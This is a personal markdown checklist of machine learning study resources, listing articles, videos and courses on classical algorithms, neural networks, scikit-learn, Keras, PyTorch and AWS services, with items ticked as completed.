- [ ] [Article: Logistic regression](https://www.jeremyjordan.me/logistic-regression/)
- [X] [Article: Decision trees](https://www.jeremyjordan.me/decision-trees/)
- [ ] [Article: K-nearest neighbors](https://www.jeremyjordan.me/k-nearest-neighbors/)
- [X] [Article: Support Vector Machines](https://www.jeremyjordan.me/support-vector-machines/)
- [ ] [Article: Random forests](https://www.jeremyjordan.me/random-forests/)
- [ ] [Article: Boosted trees](https://www.jeremyjordan.me/boosted-trees/)
- [ ] [Article: Hacker's Guide to Fundamental Machine Learning Algorithms with Python](https://www.curiousily.com/posts/hackers-guide-to-fundamental-machine-learning-algorithms/)
- [ ] [Article: Neural networks: activation functions](https://www.jeremyjordan.me/neural-networks-activation-functions/)
- [ ] [Article: Neural networks: training with backpropagation](https://www.jeremyjordan.me/neural-networks-training/)
- [ ] [Article: Neural Network from scratch-part 1](https://theaisummer.com/Neural_Network_from_scratch/)
- [ ] [Article: Neural Network from scratch-part 2](https://theaisummer.com/Neural_Network_from_scratch_part2/)
- [ ] [Article: Perceptron to Deep-Neural-Network](https://tsumansapkota.github.io/algorithm/2020/06/06/Perceptron-to-DeepNeuralNets/)
- [X] [Article: One-vs-Rest strategy for Multi-Class Classification](https://www.geeksforgeeks.org/one-vs-rest-strategy-for-multi-class-classification/)
- [X] [Article: Multi-class Classification — One-vs-All & One-vs-One](https://radiant-brushlands-42789.herokuapp.com/towardsdatascience.com/multi-class-classification-one-vs-all-one-vs-one-94daed32a87b)
- [X] [Article: One-vs-Rest and One-vs-One for Multi-Class Classification](https://machinelearningmastery.com/one-vs-rest-and-one-vs-one-for-multi-class-classification/)
- [ ] [Article: Deep Learning Algorithms - The Complete Guide](https://theaisummer.com/Deep-Learning-Algorithms/)
- [ ] [Article: Machine Learning Techniques Primer](https://medium.com/acing-ai/machine-learning-techniques-primer-60edd9d14863)
- [X] [AWS: Understanding Neural Networks](https://www.aws.training/learningobject/video?id=27233)
- [ ] [Book: Grokking Deep Learning](https://www.manning.com/books/grokking-deep-learning)
- [ ] [Book: Make Your Own Neural Network](https://www.amazon.com/Make-Your-Own-Neural-Network-ebook/dp/B01EER4Z4G)
- [ ] [Coursera: Neural Networks and Deep Learning](https://www.coursera.org/learn/neural-networks-deep-learning)
- [ ] [Datacamp: Extreme Gradient Boosting with XGBoost](https://www.datacamp.com/courses/extreme-gradient-boosting-with-xgboost)
- [X] [Datacamp: Ensemble Methods in Python](https://www.datacamp.com/courses/ensemble-methods-in-python)
- [ ] [StatQuest: Machine Learning](https://www.youtube.com/playlist?list=PLblh5JKOoLUICTaGLRoHQDuF_7q2GfuJF)
- [X] [StatQuest: Fitting a line to data, aka least squares, aka linear regression.](https://www.youtube.com/watch?v=PaFPbb66DxQ) `0:09:21`
- [X] [StatQuest: Linear Models Pt.1 - Linear Regression](https://www.youtube.com/watch?v=nk2CQITm_eo) `0:27:26`
- [X] [StatQuest: StatQuest: Linear Models Pt.2 - t-tests and ANOVA](https://www.youtube.com/watch?v=NF5_btOaCig) `0:11:37`
- [X] [StatQuest: Odds and Log(Odds), Clearly Explained!!!](https://www.youtube.com/watch?v=ARfXDSkQf1Y) `0:11:30`
- [X] [StatQuest: Odds Ratios and Log(Odds Ratios), Clearly Explained!!!](https://www.youtube.com/watch?v=8nm0G-1uJzA) `0:16:20`
- [X] [StatQuest: Logistic Regression](https://www.youtube.com/watch?v=yIYKR4sgzI8) `0:08:47`
- [X] [Logistic Regression Details Pt1: Coefficients](https://www.youtube.com/watch?v=vN5cNN2-HWE) `0:19:02`
- [X] [Logistic Regression Details Pt 2: Maximum Likelihood](https://www.youtube.com/watch?v=BfKanl1aSG0) `0:10:23`
- [X] [Logistic Regression Details Pt 3: R-squared and p-value](https://www.youtube.com/watch?v=xxFYro8QuXA) `0:15:25`
- [X] [Saturated Models and Deviance](https://www.youtube.com/watch?v=9T0wlKdew6I) `0:18:39`
- [X] [Deviance Residuals](https://www.youtube.com/watch?v=JC56jS2gVUE) `0:06:18`
- [X] [Regularization Part 1: Ridge (L2) Regression](https://www.youtube.com/watch?v=Q81RR3yKn30) `0:20:26`
- [X] [Regularization Part 2: Lasso (L1) Regression](https://www.youtube.com/watch?v=NGf0voTMlcs) `0:08:19`
- [X] [Ridge vs Lasso Regression, Visualized!!!](https://www.youtube.com/watch?v=Xm2C_gTAl8c) `0:09:05`
- [X] [Regularization Part 3: Elastic Net Regression](https://www.youtube.com/watch?v=1dKRdX9bfIo) `0:05:19`
- [X] [StatQuest: Principal Component Analysis (PCA), Step-by-Step](https://www.youtube.com/watch?v=FgakZw6K1QQ) `0:21:57`
- [X] [StatQuest: PCA main ideas in only 5 minutes!!!](https://www.youtube.com/watch?v=HMOI_lkzW08) `0:06:04`
- [X] [StatQuest: PCA - Practical Tips](https://www.youtube.com/watch?v=oRvgq966yZg) `0:08:19`
- [X] [StatQuest: PCA in Python](https://www.youtube.com/watch?v=Lsue2gEM9D0) `0:11:37`
- [X] [StatQuest: Linear Discriminant Analysis (LDA) clearly explained.](https://www.youtube.com/watch?v=azXCzI57Yfc) `0:15:12`
- [X] [StatQuest: MDS and PCoA](https://www.youtube.com/watch?v=GEn-_dAyYME) `0:08:18`
- [X] [StatQuest: t-SNE, Clearly Explained](https://www.youtube.com/watch?v=NEaUSP4YerM) `0:11:47`
- [X] [StatQuest: Hierarchical Clustering](https://www.youtube.com/watch?v=7xHsRkOdVwo) `0:11:19`
- [X] [StatQuest: K-means clustering](https://www.youtube.com/watch?v=4b5d3muPQmA) `0:08:57`
- [X] [StatQuest: K-nearest neighbors, Clearly Explained](https://www.youtube.com/watch?v=HVXime0nQeI) `0:05:30`
- [X] [Naive Bayes, Clearly Explained!!!](https://www.youtube.com/watch?v=O2L2Uv9pdDA) `0:15:12`
- [X] [Gaussian Naive Bayes, Clearly Explained!!!](https://www.youtube.com/watch?v=H3EjCKtlVog) `0:09:41`
- [X] [StatQuest: Decision Trees](https://www.youtube.com/watch?v=7VeUPuFGJHk) `0:17:22`
- [X] [StatQuest: Decision Trees, Part 2 - Feature Selection and Missing Data](https://www.youtube.com/watch?v=wpNl-JwwplA) `0:05:16`
- [X] [Regression Trees, Clearly Explained!!!](https://www.youtube.com/watch?v=g9c66TUylZ4) `0:22:33`
- [X] [How to Prune Regression Trees, Clearly Explained!!!](https://www.youtube.com/watch?v=D0efHEJsfHo) `0:16:15`
- [X] [StatQuest: Random Forests Part 1 - Building, Using and Evaluating](https://www.youtube.com/watch?v=J4Wdy0Wc_xQ) `0:09:54`
- [X] [StatQuest: Random Forests Part 2: Missing data and clustering](https://www.youtube.com/watch?v=sQ870aTKqiM) `0:11:53`
- [X] [The Chain Rule](https://www.youtube.com/watch?v=wl1myxrtQHQ) `0:18:23`
- [X] [Gradient Descent, Step-by-Step](https://www.youtube.com/watch?v=sDv4f4s2SB8) `0:23:54`
- [X] [Stochastic Gradient Descent, Clearly Explained!!!](https://www.youtube.com/watch?v=vMh0zPT0tLI) `0:10:53`
- [ ] [AdaBoost, Clearly Explained](https://www.youtube.com/watch?v=LsK-xG1cLYA) `0:20:54`
- [ ] [Gradient Boost Part 1: Regression Main Ideas](https://www.youtube.com/watch?v=3CC4N4z3GJc) `0:15:52`
- [ ] [Gradient Boost Part 2: Regression Details](https://www.youtube.com/watch?v=2xudPOBz-vs) `0:26:45`
- [ ] [Gradient Boost Part 3: Classification](https://www.youtube.com/watch?v=jxuNLH5dXCs) `0:17:02`
- [ ] [Gradient Boost Part 4: Classification Details](https://www.youtube.com/watch?v=StWY5QWMXCw) `0:36:59`
- [X] [Support Vector Machines, Clearly Explained!!!](https://www.youtube.com/watch?v=efR1C6CvhmE) `0:20:32`
- [X] [Support Vector Machines Part 2: The Polynomial Kernel](https://www.youtube.com/watch?v=Toet3EiSFcM) `0:07:15`
- [X] [Support Vector Machines Part 3: The Radial (RBF) Kernel](https://www.youtube.com/watch?v=Qc5IyLW_hns) `0:15:52`
- [ ] [XGBoost Part 1: Regression](https://www.youtube.com/watch?v=OtD8wVaFm6E) `0:25:46`
- [ ] [XGBoost Part 2: Classification](https://www.youtube.com/watch?v=8b1JEDvenQU) `0:25:17`
- [ ] [XGBoost Part 3: Mathematical Details](https://www.youtube.com/watch?v=ZVFeW798-2I) `0:27:24`
- [ ] [XGBoost Part 4: Crazy Cool Optimizations](https://www.youtube.com/watch?v=oRrKeUCEbq8) `0:24:27`
- [ ] [StatQuest: Fiitting a curve to data, aka lowess, aka loess](https://www.youtube.com/watch?v=Vf7oJ6z2LCc) `0:10:10`
- [ ] [Statistics Fundamentals: Population Parameters](https://www.youtube.com/watch?v=vikkiwjQqfU) `0:14:31`
- [ ] [Principal Component Analysis (PCA) clearly explained (2015)](https://www.youtube.com/watch?v=_UVHneBUBW0) `0:20:16`
- [ ] [Decision Trees in Python from Start to Finish](https://www.youtube.com/watch?v=q90UDEgYqeI) `1:06:23`
- [ ] [Udacity: Classification Models](https://www.udacity.com/course/classification-models--ud978)
- [ ] [Youtube: Neural Networks from Scratch in Python](https://www.youtube.com/playlist?list=PLQVvvaa0QuDcjD5BAw2DxE6OF2tius3V3)
- [ ] [Neural Networks from Scratch - P.1 Intro and Neuron Code](https://www.youtube.com/watch?v=Wo5dMEP_BbI) `0:16:59`
- [ ] [Neural Networks from Scratch - P.2 Coding a Layer](https://www.youtube.com/watch?v=lGLto9Xd7bU) `0:15:06`
- [ ] [Neural Networks from Scratch - P.3 The Dot Product](https://www.youtube.com/watch?v=tMrbN67U9d4) `0:25:17`
- [ ] [Neural Networks from Scratch - P.4 Batches, Layers, and Objects](https://www.youtube.com/watch?v=TEWy9vZcxW4) `0:33:46`
- [ ] [Neural Networks from Scratch - P.5 Hidden Layer Activation Functions](https://www.youtube.com/watch?v=gmjzbpSVY1A) `0:40:05`
- [X] [Youtube: Applied ML 2020 - 03 Supervised learning and model validation](https://www.youtube.com/watch?v=7_YzyMYC2zM) `1:12:00`
- [ ] [Youtube: Applied ML 2020 - 05 - Linear Models for Regression](https://www.youtube.com/watch?v=-OOsfj5Revo) `1:06:54`
- [ ] [Youtube: Applied ML 2020 - 06 - Linear Models for Classification](https://www.youtube.com/watch?v=_dqBhUrq09U) `1:07:50`
- [X] [Youtube: Applied ML 2020 - 07 - Decision Trees and Random Forests](https://www.youtube.com/watch?v=nomd5ylZ2dw) `1:07:58`
- [X] [Youtube: Applied ML 2020 - 08 - Gradient Boosting](https://www.youtube.com/watch?v=yrTW5YTmFjw) `1:02:12`
- [ ] [Youtube: Applied ML 2020 - 18 - Neural Networks](https://www.youtube.com/watch?v=CRRPLlgYWZw) `1:19:36`
- [ ] [Youtube: Applied ML 2020 - 12 - AutoML (plus some feature selection)](https://www.youtube.com/watch?v=bmBezdqHTAg) `1:25:38`
### Be able to improve model generalization
- [ ] [Article: Deep neural networks: preventing overfitting](https://www.jeremyjordan.me/deep-neural-networks-preventing-overfitting/)
- [ ] [Article: Normalizing your data (specifically, input and batch normalization)](https://www.jeremyjordan.me/batch-normalization/)
- [ ] [Article: Batch Normalization](https://e2eml.school/batch_normalization.html)
- [ ] [Article: Are Deep Neural Networks Dramatically Overfitted?](https://lilianweng.github.io/lil-log/2019/03/14/are-deep-neural-networks-dramatically-overfitted.html)
- [ ] [Article: In-layer normalization techniques for training very deep neural networks](https://theaisummer.com/normalization/)
- [ ] [Article: Label Smoothing Explained using Microsoft Excel](https://amaarora.github.io/2020/07/18/label-smoothing.html)
- [X] [Article: Uncertainty Quantification Part 4: Leveraging Dropout in Neural Networks (CNNs)](https://www.rossidata.com/DropoutTensorFlowUncertaintyErrorMNIST)
- [X] [Article: Simple Ways to Tackle Class Imbalance](https://wandb.ai/authors/class-imbalance/reports/Simple-Ways-to-Tackle-Class-Imbalance--VmlldzoxODA3NTk)
- [X] [Youtube: Applied ML 2020 - 10 - Calibration, Imbalanced data](https://www.youtube.com/watch?v=w3OPq0V8fr8) `1:16:14`
- [X] [Youtube: Lecture 10: Troubleshooting Deep Neural Networks](https://youtu.be/GwGTwPcG0YM)
### Be familiar with fundamental ML concepts
- [ ] [Article: Connections: Log Likelihood, Cross Entropy, KL Divergence, Logistic Regression, and Neural Networks](https://glassboxmedicine.com/2019/12/07/connections-log-likelihood-cross-entropy-kl-divergence-logistic-regression-and-neural-networks/)
- [ ] [Article: MLE and MAP — in layman’s terms](https://medium.com/@ajitrajasekharan/mle-and-map-in-laymans-terms-8527061b15a6)
- [ ] [An overview of gradient descent optimization algorithms](https://ruder.io/optimizing-gradient-descent/)
- [ ] [Article: Optimization for Deep Learning Highlights in 2017](https://ruder.io/deep-learning-optimization-2017/)
- [ ] [Article: Gradient descent](https://www.jeremyjordan.me/gradient-descent/)
- [ ] [Article: Setting the learning rate of your neural network](https://www.jeremyjordan.me/nn-learning-rate/)
- [ ] [Article: Cross-entropy for classification](https://towardsdatascience.com/cross-entropy-for-classification-d98e7f974451)
- [ ] [Article: Dismantling Neural Networks to Understand the Inner Workings with Math and Pytorch](https://towardsdatascience.com/dismantling-neural-networks-to-understand-the-inner-workings-with-math-and-pytorch-beac8760b595)
- [X] [Datacamp: AI Fundamentals](https://www.datacamp.com/courses/fundamentals-of-ai)
- [ ] [Datacamp: Foundations of Predictive Analytics in Python (Part 1)](https://www.datacamp.com/courses/foundations-of-predictive-analytics-in-python-part-1)
- [ ] [Datacamp: Foundations of Predictive Analytics in Python (Part 2)](https://www.datacamp.com/courses/foundations-of-predictive-analytics-in-python-part-2)
- [X] [Elements of AI](https://www.elementsofai.com)
- [X] [edX: Principles of Machine Learning](https://www.edx.org/course/principles-machine-learning-microsoft-dat203-2x-5)
- [X] [edX: Data Science Essentials](https://www.edx.org/course/data-science-essentials-microsoft-dat203-1x-5)
- [ ] [Fast.ai: Deep Learning for Coder (2020)](https://course.fast.ai/)
- [X] [Lesson 0](https://youtu.be/gGxe2mN3kAg)
- [X] [Lesson 1](https://course.fast.ai/videos/?lesson=1)
- [X] [Lesson 2](https://course.fast.ai/videos/?lesson=2)
- [X] [Lesson 3](https://course.fast.ai/videos/?lesson=3)
- [X] [Lesson 4](https://course.fast.ai/videos/?lesson=4)
- [ ] [Lesson 5](https://course.fast.ai/videos/?lesson=5)
- [X] [Lesson 6](https://course.fast.ai/videos/?lesson=6)
- [X] [Lesson 7](https://course.fast.ai/videos/?lesson=7)
- [X] [Lesson 8](https://course.fast.ai/videos/?lesson=8)
- [X] [Youtube: Deep Double Descent](https://youtu.be/R29awq6jvUw)
### Be able to implement models in scikit-learn
- [X] [Article: Stacking made easy with Sklearn](https://www.maartengrootendorst.com/blog/stacking/)
- [X] [Article: Curve Fitting With Python](https://machinelearningmastery.com/curve-fitting-with-python/)
- [X] [Article: A Guide to Calibration Plots in Python](https://changhsinlee.com/python-calibration-plot/)
- [X] [Calmcode: human-learn](https://calmcode.io/human-learn/introduction.html)
- [X] [Datacamp: Supervised Learning with scikit-learn](https://www.datacamp.com/courses/supervised-learning-with-scikit-learn)
- [X] [Datacamp: Machine Learning with Tree-Based Models in Python](https://www.datacamp.com/courses/machine-learning-with-tree-based-models-in-python)
- [ ] [Datacamp: Introduction to Linear Modeling in Python](https://www.datacamp.com/courses/introduction-to-linear-modeling-in-python)
- [X] [Datacamp: Linear Classifiers in Python](https://www.datacamp.com/courses/linear-classifiers-in-python)
- [ ] [Datacamp: Generalized Linear Models in Python](https://www.datacamp.com/courses/generalized-linear-models-in-python)
- [X] [Notebook: scikit-learn tips](https://github.com/justmarkham/scikit-learn-tips)
- [X] [Pluralsight: Building Machine Learning Models in Python with scikit-learn](https://www.pluralsight.com/courses/python-scikit-learn-building-machine-learning-models)
- [ ] [Video: human learn](https://calmcode.io/human-learn/introduction.html)
- [X] [Youtube: dabl: Automatic Machine Learning with a Human in the Loop](https://www.youtube.com/watch?v=TQnxH90PqFc&list=PLYx7XA2nY5GejOB1lsvriFeMytD1-VS1B&index=2&t=0s) `00:25:43`
- [X] [Youtube: Multilabel and Multioutput Classification -Machine Learning with TensorFlow & scikit-learn on Python](https://www.youtube.com/watch?v=bDdjebakjbA)
- [X] [Youtube: DABL: Automatic machine learning with a human in the loop- AI Latim American SumMIT Day 1](https://youtu.be/7pykC5m24Z0?list=LL)
### Be able to implement models in Tensorflow and Keras
- [X] [Coursera: Introduction to Tensorflow](https://www.coursera.org/learn/introduction-tensorflow)
- [X] [Coursera: Convolutional Neural Networks in TensorFlow](https://www.coursera.org/learn/convolutional-neural-networks-tensorflow)
- [X] [Deeplizard: Keras - Python Deep Learning Neural Network API](https://www.youtube.com/playlist?list=PLZbbT5o_s2xrwRnXk_yCPtnqqo4_u2YGL)
- [ ] [Book: Deep Learning with Python (Page: 276)](https://www.manning.com/books/deep-learning-with-python)
- [X] [Datacamp: Deep Learning in Python](https://www.datacamp.com/courses/deep-learning-in-python)
- [X] [Datacamp: Convolutional Neural Networks for Image Processing](https://www.datacamp.com/courses/convolutional-neural-networks-for-image-processing)
- [X] [Datacamp: Introduction to TensorFlow in Python](https://www.datacamp.com/courses/introduction-to-tensorflow-in-python)
- [X] [Datacamp: Introduction to Deep Learning with Keras](https://www.datacamp.com/courses/deep-learning-with-keras-in-python)
- [X] [Datacamp: Advanced Deep Learning with Keras](https://www.datacamp.com/courses/advanced-deep-learning-with-keras-in-python)
- [ ] [Google: Machine Learning Crash Course](https://developers.google.com/machine-learning/crash-course/)
- [X] [Pluralsight: Deep Learning with Keras](https://www.pluralsight.com/courses/keras-deep-learning)
- [X] [Udacity: Intro to TensorFlow for Deep Learning](https://www.udacity.com/course/intro-to-tensorflow-for-deep-learning--ud187)
### Be able to implement models in PyTorch
- [ ] [Article: Keeping Up with PyTorch Lightning and Hydra](https://towardsdatascience.com/keeping-up-with-pytorch-lightning-and-hydra-31e8ed70b2cc)
- [ ] [Article: The One PyTorch Trick Which You Should Know](https://towardsdatascience.com/the-one-pytorch-trick-which-you-should-know-2d5e9c1da2ca)
- [ ] [Article: How does automatic differentiation really work?](https://thenlp.space/blog/how-does-pytorch-do-differentiation)
- [X] [Article: 7 Tips To Maximize PyTorch Performance](https://towardsdatascience.com/7-tips-for-squeezing-maximum-performance-from-pytorch-ca4a40951259)
- [X] [Article: An introduction to PyTorch Lightning with comparisons to PyTorch](https://amaarora.github.io/2020/07/12/oganized-pytorch.html)
- [X] [Article: Converting From Keras To PyTorch Lightning](https://towardsdatascience.com/converting-from-keras-to-pytorch-lightning-be40326d7b7d)
- [X] [Article: From PyTorch to PyTorch Lightning — A gentle introduction](https://towardsdatascience.com/from-pytorch-to-pytorch-lightning-a-gentle-introduction-b371b7caaf09)
- [X] [Article: Introducing PyTorch Lightning Sharded: Train SOTA Models, With Half The Memory](https://seannaren.medium.com/introducing-pytorch-lightning-sharded-train-sota-models-with-half-the-memory-7bcc8b4484f2)
- [X] [Article: Sharded: A New Technique To Double The Size Of PyTorch Models](https://towardsdatascience.com/sharded-a-new-technique-to-double-the-size-of-pytorch-models-3af057466dba)
- [X] [Article: Understanding Bidirectional RNN in PyTorch](https://towardsdatascience.com/understanding-bidirectional-rnn-in-pytorch-5bd25a5dd66)
- [ ] [Article: A developer-friendly guide to mixed precision training with PyTorch](https://spell.ml/blog/mixed-precision-training-with-pytorch-Xuk7YBEAACAASJam)
- [ ] [Article: A developer-friendly guide to model pruning in PyTorch](https://spell.ml/blog/model-pruning-in-pytorch-X9pXQRAAACIAcH9h)
- [ ] [Article: A developer-friendly guide to model quantization with PyTorch](https://spell.ml/blog/pytorch-quantization-X8e7wBAAACIAHPhT)
- [ ] [Article: Tricks for training PyTorch models to convergence more quickly](https://spell.ml/blog/pytorch-training-tricks-YAnJqBEAACkARhgD)
- [X] [Article: PyTorch Lightning Bolts — From Linear, Logistic Regression on TPUs to pre-trained GANs](https://medium.com/pytorch/pytorch-lightning-bolts-from-boosted-regression-on-tpus-to-pre-trained-gans-5cebdb1f99fe)
- [X] [Article: Scaling Logistic Regression Via Multi-GPU/TPU Training](https://towardsdatascience.com/scaling-logistic-regression-for-multi-gpu-tpu-training-b4898d5049ff)
- [X] [Article: Training Neural Nets on Larger Batches: Practical Tips for 1-GPU, Multi-GPU & Distributed setups](https://medium.com/huggingface/training-larger-batches-practical-tips-on-1-gpu-multi-gpu-distributed-setups-ec88c3e51255)
- [X] [Article: PyTorch Lightning 0.9 — synced BatchNorm, DataModules and final API!](https://medium.com/pytorch/pytorch-lightning-0-9-synced-batchnorm-datamodules-and-final-api-aae885398a9d)
- [X] [Article: PyTorch Lightning: Metrics](https://medium.com/pytorch/pytorch-lightning-metrics-35cb5ab31857)
- [X] [Article: PyTorch Multi-GPU Metrics Library and More in PyTorch Lightning 0.8.1](https://medium.com/pytorch/pytorch-multi-gpu-metrics-and-more-in-pytorch-lightning-0-8-1-b7cadd04893e)
- [ ] [Article: Distributed model training in PyTorch using DistributedDataParallel](https://spell.ml/blog/pytorch-distributed-data-parallel-XvEaABIAAB8Ars0e)
- [ ] [Article: Distributed model training in PyTorch using DistributedDataParallel](https://spell.ml/blog/pytorch-distributed-data-parallel-XvEaABIAAB8Ars0e)
- [ ] [Article: EINSUM IS ALL YOU NEED - EINSTEIN SUMMATION IN DEEP LEARNING](https://rockt.github.io/2018/04/30/einsum)
- [ ] [Article: Faster Deep Learning Training with PyTorch – a 2021 Guide](https://efficientdl.com/faster-deep-learning-in-pytorch-a-guide/)
- [ ] [Article: Fit More and Train Faster With ZeRO via DeepSpeed and FairScale](https://huggingface.co./blog/zero-deepspeed-fairscale)
- [ ] [Article: PyTorch Lightning V1.2.0- DeepSpeed, Pruning, Quantization, SWA](https://medium.com/pytorch/pytorch-lightning-v1-2-0-43a032ade82b)
- [ ] [Article: But what are PyTorch DataLoaders really?](https://www.scottcondron.com/jupyter/visualisation/audio/2020/12/02/dataloaders-samplers-collate.html)
- [X] [Article: Using PyTorch + NumPy? You're making a mistake.](https://tanelp.github.io/posts/a-bug-that-plagues-thousands-of-open-source-ml-projects/)
- [X] [Article: How Wadhwani AI Uses PyTorch To Empower Cotton Farmers](https://medium.com/pytorch/how-wadhwani-ai-uses-pytorch-to-empower-cotton-farmers-14397f4c9f2b)
- [X] [Article: Taming LSTMs: Variable-sized mini-batches and why PyTorch is good for your health](https://towardsdatascience.com/taming-lstms-variable-sized-mini-batches-and-why-pytorch-is-good-for-your-health-61d35642972e)
- [ ] [Article: How to Build a Streaming DataLoader with PyTorch](https://medium.com/speechmatics/how-to-build-a-streaming-dataloader-with-pytorch-a66dd891d9dd)
- [X] [Article: Transform your ML-model to Pytorch with Hummingbird](https://www.maartengrootendorst.com/blog/humming/)
- [X] [Article: PyTorch Loss Functions: The Ultimate Guide](https://neptune.ai/blog/pytorch-loss-functions)
- [X] [Article: Pad pack sequences for Pytorch batch processing with DataLoader](https://suzyahyah.github.io/pytorch/2019/07/01/DataLoader-Pad-Pack-Sequence.html)
- [ ] [Article: Model Parallelism](https://huggingface.co./transformers/master/parallelism.html)
- [ ] [Notebook: Tensor Arithmetic](https://colab.research.google.com/github/davidbau/how-to-read-pytorch/blob/master/notebooks/1-Pytorch-Introduction.ipynb)
- [ ] [Notebook: Autograd](https://colab.research.google.com/github/davidbau/how-to-read-pytorch/blob/master/notebooks//2-Pytorch-Autograd.ipynb)
- [ ] [Notebook: Optimization](https://colab.research.google.com/github/davidbau/how-to-read-pytorch/blob/master/notebooks//3-Pytorch-Optimizers.ipynb)
- [ ] [Notebook: Network modules](https://colab.research.google.com/github/davidbau/how-to-read-pytorch/blob/master/notebooks//4-Pytorch-Modules.ipynb)
- [ ] [Notebook: Datasets and Dataloaders](https://colab.research.google.com/github/davidbau/how-to-read-pytorch/blob/master/notebooks//5-Pytorch-Dataloader.ipynb)
- [X] [Documentation: Pytorch Lightning](https://pytorch-lightning.readthedocs.io/en/latest/)
- [X] [Datacamp: Introduction to Deep Learning with PyTorch](https://www.datacamp.com/courses/deep-learning-with-pytorch)
- [X] [Deeplizard: Neural Network Programming - Deep Learning with PyTorch](https://www.youtube.com/playlist?list=PLZbbT5o_s2xrfNyHZsM6ufI0iZENK9xgG)
- [ ] [Udacity: Intro to Deep Learning with PyTorch](https://www.udacity.com/course/deep-learning-pytorch--ud188)
- [X] [Youtube: PyTorch Lightning 101](https://www.youtube.com/playlist?list=PLaMu-SDt_RB5NUm67hU2pdE75j6KaIOv2)
- [X] [Training a classification model on MNIST with PyTorch](https://youtu.be/OMDn66kM9Qc?list=PLaMu-SDt_RB5NUm67hU2pdE75j6KaIOv2)
- [X] [From PyTorch to PyTorch Lightning](https://youtu.be/DbESHcCoWbM?list=PLaMu-SDt_RB5NUm67hU2pdE75j6KaIOv2)
- [X] [Lightning Data Modules](https://youtu.be/L---MBeSXFw)
- [X] [PyTorch Dropout, Batch size and interactive debugging](https://youtu.be/vD5iQkdqMqU)
- [X] [Episode 4: Implementing a PyTorch Trainer: PyTorch Lightning Trainer and callbacks under-the-hood](https://www.youtube.com/watch?v=tgp56S2eGFE)
- [X] [Youtube: SimCLR with PyTorch Lightning](https://www.youtube.com/playlist?list=PLaMu-SDt_RB4k8VXiB3hOdsn0Y3GoXo1k)
- [ ] [Youtube: PyTorch Performance Tuning Guide](https://youtu.be/9mS1fIYj1So) `26:41:00`
- [X] [Youtube: Skin Cancer Detection with PyTorch](https://www.youtube.com/playlist?list=PLUH_l3HbfEW0wP7ZOKUxmlnG6sntCQpHX)
- [X] [[PART 1] Skin Cancer Detection with PyTorch](https://www.youtube.com/watch?v=6LdS9n_L7u4) `0:10:21`
- [X] [[PART 2] Skin Cancer Detection with PyTorch](https://www.youtube.com/watch?v=wspdT8hRCWs) `0:21:57`
- [X] [[PART 3] Skin Cancer Detection with PyTorch](https://www.youtube.com/watch?v=zFqsuXs6-Us) `0:22:24`
- [X] [Youtube: Learn with Lightning](https://www.pytorchlightning.ai/tutorials)
- [X] [Youtube: PyTorch Tutorial - RNN & LSTM & GRU - Recurrent Neural Nets](https://www.youtube.com/watch?v=0_PgWWmauHk) `00:15:51`
- [X] [Youtube: Pytorch Zero to All](https://www.youtube.com/playlist?list=PLlMkM4tgfjnJ3I-dbhO9JTw7gNty6o_2m)
- [X] [PyTorch Lecture 01: Overview](https://www.youtube.com/watch?v=SKq-pmkekTk) `0:10:18`
- [X] [PyTorch Lecture 02: Linear Model](https://www.youtube.com/watch?v=l-Fe9Ekxxj4) `0:12:52`
- [X] [PyTorch Lecture 03: Gradient Descent](https://www.youtube.com/watch?v=b4Vyma9wPHo) `0:08:24`
- [X] [PyTorch Lecture 04: Back-propagation and Autograd](https://www.youtube.com/watch?v=ma2KXWblllc) `0:15:25`
- [X] [PyTorch Lecture 05: Linear Regression in the PyTorch way](https://www.youtube.com/watch?v=113b7O3mabY) `0:11:50`
- [X] [PyTorch Lecture 06: Logistic Regression](https://www.youtube.com/watch?v=GAKTBQn7yKo) `0:10:41`
- [X] [PyTorch Lecture 07: Wide and Deep](https://www.youtube.com/watch?v=Mf8jna42p2M) `0:10:37`
- [X] [PyTorch Lecture 08: PyTorch DataLoader](https://www.youtube.com/watch?v=zN49HdDxHi8) `0:06:41`
- [X] [PyTorch Lecture 09: Softmax Classifier](https://www.youtube.com/watch?v=lvNdl7yg4Pg) `0:18:47`
- [X] [PyTorch Lecture 10: Basic CNN](https://www.youtube.com/watch?v=LgFNRIFxuUo) `0:15:52`
- [X] [PyTorch Lecture 11: Advanced CNN](https://www.youtube.com/watch?v=hqYfqNAQIjE) `0:12:58`
- [X] [PyTorch Lecture 12: RNN1 - Basics](https://www.youtube.com/watch?v=ogZi5oIo4fI) `0:28:47`
- [X] [PyTorch Lecture 13: RNN 2 - Classification](https://www.youtube.com/watch?v=1vGOQAel2yU) `0:17:22`
- [X] [PyTorch Developer Day 2020 | Full Livestream](https://www.youtube.com/watch?v=jaPVoObpdO0)
- [X] [Youtube: Lightning Chat: How a Grandmaster Won a Kaggle Competition Using Pytorch Lightning](https://www.youtube.com/watch?app=desktop&v=0HQCK_l-njI)
- [ ] [Youtube: Production Inference Deployment with PyTorch](https://youtu.be/Dk88zv1KYMI)
- [ ] [Youtube: What is Automatic Differentiation?](https://www.youtube.com/watch?v=wG_nF1awSSY)
- [ ] [Youtube: JAX: accelerated machine learning research via composable function transformations in Python](https://www.youtube.com/watch?v=BzuEGdGHKjc)
### Be able to implement models using cloud services
- [X] [AWS: Amazon Transcribe Deep Dive: Using Feedback Loops to Improve Confidence Level of Transcription](https://www.aws.training/learningobject/video?id=27495)
- [X] [AWS: Build a Text Classification Model with AWS Glue and Amazon SageMaker](https://www.aws.training/learningobject/video?id=27225)
- [X] [AWS: Deep Dive on Amazon Rekognition: Building Computer Visions Based Smart Applications](https://www.aws.training/learningobject/video?id=27230)
- [X] [AWS: Hands-on Rekognition: Automated Video Editing](https://www.aws.training/learningobject/video?id=27229)
- [X] [AWS: Introduction to Amazon Comprehend](https://www.aws.training/learningobject/video?id=16626)
- [X] [AWS: Introduction to Amazon Comprehend Medical](https://www.aws.training/learningobject/video?id=27159)
- [X] [AWS: Introduction to Amazon Elastic Inference](https://www.aws.training/learningobject/video?id=27172)
- [X] [AWS: Introduction to Amazon Forecast](https://www.aws.training/learningobject/video?id=27163)
- [X] [AWS: Introduction to Amazon Lex](https://www.aws.training/learningobject/video?id=16516)
- [X] [AWS: Introduction to Amazon Personalize](https://www.aws.training/learningobject/video?id=27158)
- [X] [AWS: Introduction to Amazon Polly](https://www.aws.training/learningobject/video?id=15886)
- [X] [AWS: Introduction to Amazon SageMaker Ground Truth](https://www.aws.training/learningobject/video?id=27162)
- [X] [AWS: Introduction to Amazon SageMaker Neo](https://www.aws.training/learningobject/video?id=27160)
- [X] [AWS: Introduction to Amazon Transcribe](https://www.aws.training/learningobject/video?id=19443)
